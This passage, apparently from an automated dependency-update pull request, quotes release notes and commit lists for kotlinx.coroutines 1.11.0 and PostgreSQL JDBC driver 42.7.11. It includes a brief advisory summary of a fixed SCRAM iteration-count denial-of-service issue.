href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4333\"\u003e#4333\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdvanced the deprecation levels on \u003ccode\u003ekotlinx-coroutines-test\u003c/code\u003e APIs (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4604\"\u003e#4604\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded lint functions that mark passing a \u003ccode\u003eJob\u003c/code\u003e to coroutine builders as deprecated (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4435\"\u003e#4435\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug fixes and improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003erunBlocking\u003c/code\u003e in code shared between JVM and Native (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4368\"\u003e#4368\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003ecallsInPlace(EXACTLY_ONCE)\u003c/code\u003e contract to \u003ccode\u003esuspendCancellableCoroutine\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4574\"\u003e#4574\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eflowOn\u003c/code\u003e incorrectly handling \u003ccode\u003eThreadContextElement\u003c/code\u003e updates (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4403\"\u003e#4403\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed exceptions in user-supplied \u003ccode\u003eThread.UncaughtExceptionHandler\u003c/code\u003e instances causing the internal coroutines machinery to fail (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4516\"\u003e#4516\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eCoroutineDispatcher.asScheduler\u003c/code\u003e in the RxJava integration not cancelling outstanding work when a \u003ccode\u003eWorker\u003c/code\u003e gets cancelled, which led to memory leaks in some scenarios (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4615\"\u003e#4615\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eSharedFlow\u003c/code\u003e entering an invalid state when a subscriber and an emitter are cancelled simultaneously (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4583\"\u003e#4583\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed an R8 optimization leading to \u003ccode\u003eshareIn\u003c/code\u003e/\u003ccode\u003estateIn\u003c/code\u003e coroutines getting garbage-collected (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4646\"\u003e#4646\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/solevic\"\u003e\u003ccode\u003e@​solevic\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eSmall additions\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdded \u003ccode\u003eCompletableDeferred.asDeferred\u003c/code\u003e for obtaining a read-only \u003ccode\u003eDeferred\u003c/code\u003e view (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4408\"\u003e#4408\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eSharedFlow.asFlow\u003c/code\u003e for obtaining a \u003ccode\u003eFlow\u003c/code\u003e view with hidden hot flow semantics (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4530\"\u003e#4530\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/g000sha256\"\u003e\u003ccode\u003e@​g000sha256\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow.collectLatest\u003c/code\u003e overload returning \u003ccode\u003eNothing\u003c/code\u003e to assist with finding unreachable code (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4454\"\u003e#4454\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003eReceiveChannel.consumeTo\u003c/code\u003e for consuming a \u003ccode\u003eReceiveChannel\u003c/code\u003e into a \u003ccode\u003eMutableCollection\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4520\"\u003e#4520\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eAdded a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e overload returning a \u003ccode\u003eStateFlow\u0026lt;T\u0026gt;\u003c/code\u003e, similar to \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;.onSubscription\u003c/code\u003e returning \u003ccode\u003eSharedFlow\u0026lt;T\u0026gt;\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4275\"\u003e#4275\u003c/a\u003e). Thanks, \u003ca href=\"https://github.com/xit0c\"\u003e\u003ccode\u003e@​xit0c\u003c/code\u003e\u003c/a\u003e!\u003c/li\u003e\n\u003cli\u003eAdded terminal \u003ccode\u003eFlow\u003c/code\u003e operators for collecting a \u003ccode\u003eFlow\u003c/code\u003e to a \u003ccode\u003eMap\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/1541\"\u003e#1541\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChangelog relative to version 1.11.0\u003c/h3\u003e\n\u003cp\u003eNo changes, only the version is increased.\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc02\u003c/h2\u003e\n\u003cp\u003eRestored binary compatibility with 1.10.2 and older versions on Wasm/JS for usages of \u003ccode\u003ePromise\u003c/code\u003e-related functions (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e).\u003c/p\u003e\n\u003ch2\u003eVersion 1.11.0-rc01\u003c/h2\u003e\n\u003ch3\u003eVarious\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eKotlin was updated to 2.2.20 (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4545\"\u003e#4545\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eImproved the published jar files (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/3842\"\u003e#3842\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4599\"\u003e#4599\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eVarious documentation improvements, including complete rewrites of structured concurrency and error handling-related KDoc (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4433\"\u003e#4433\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4596\"\u003e#4596\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/8564f65764d3d05893cec026c6e94250e2b23874\"\u003e\u003ccode\u003e8564f65\u003c/code\u003e\u003c/a\u003e Version 1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/a4c6af96c15fe30f5d4e8b810ea74f8babd5805c\"\u003e\u003ccode\u003ea4c6af9\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/ef917b460aa741691fbf991ee1b813049cae18c9\"\u003e\u003ccode\u003eef917b4\u003c/code\u003e\u003c/a\u003e KT-84955: mark apple x64 tagets as deprecated error (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4645\"\u003e#4645\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/5ebc421e341bf2ddce734d369da87df1985e80bd\"\u003e\u003ccode\u003e5ebc421\u003c/code\u003e\u003c/a\u003e Update the release procedure description (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4670\"\u003e#4670\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/95f46a073bc4a1230352108cea1835fd22219a80\"\u003e\u003ccode\u003e95f46a0\u003c/code\u003e\u003c/a\u003e Remove old maven repository settings (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4672\"\u003e#4672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/b4f4f0aa6acb692f3fbcadd70e4958e3e9d370fc\"\u003e\u003ccode\u003eb4f4f0a\u003c/code\u003e\u003c/a\u003e Fix package name of \u003ccode\u003eToMapCollectionSamplesTest\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4674\"\u003e#4674\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/86738dca7dc9ac82249abc8206263fa0065ee631\"\u003e\u003ccode\u003e86738dc\u003c/code\u003e\u003c/a\u003e Added templates to the issue creation wizard (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4654\"\u003e#4654\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/330fcc221fb583f0b119f34191f735a73b827378\"\u003e\u003ccode\u003e330fcc2\u003c/code\u003e\u003c/a\u003e Version 1.11.0-rc02\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/e31cef6e9f2d26794be7d75ecbf3033b6432d582\"\u003e\u003ccode\u003ee31cef6\u003c/code\u003e\u003c/a\u003e Merge remote-tracking branch 'origin/master' into develop\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/commit/dc6e9f61eaf3a67f4bf474a7987aedc3f16cef37\"\u003e\u003ccode\u003edc6e9f6\u003c/code\u003e\u003c/a\u003e Restore Promise-related functions on Wasm/JS as HIDDEN (\u003ca href=\"https://redirect.github.com/Kotlin/kotlinx.coroutines/issues/4661\"\u003e#4661\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/Kotlin/kotlinx.coroutines/compare/1.10.2...1.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.postgresql:postgresql` from 42.7.10 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca 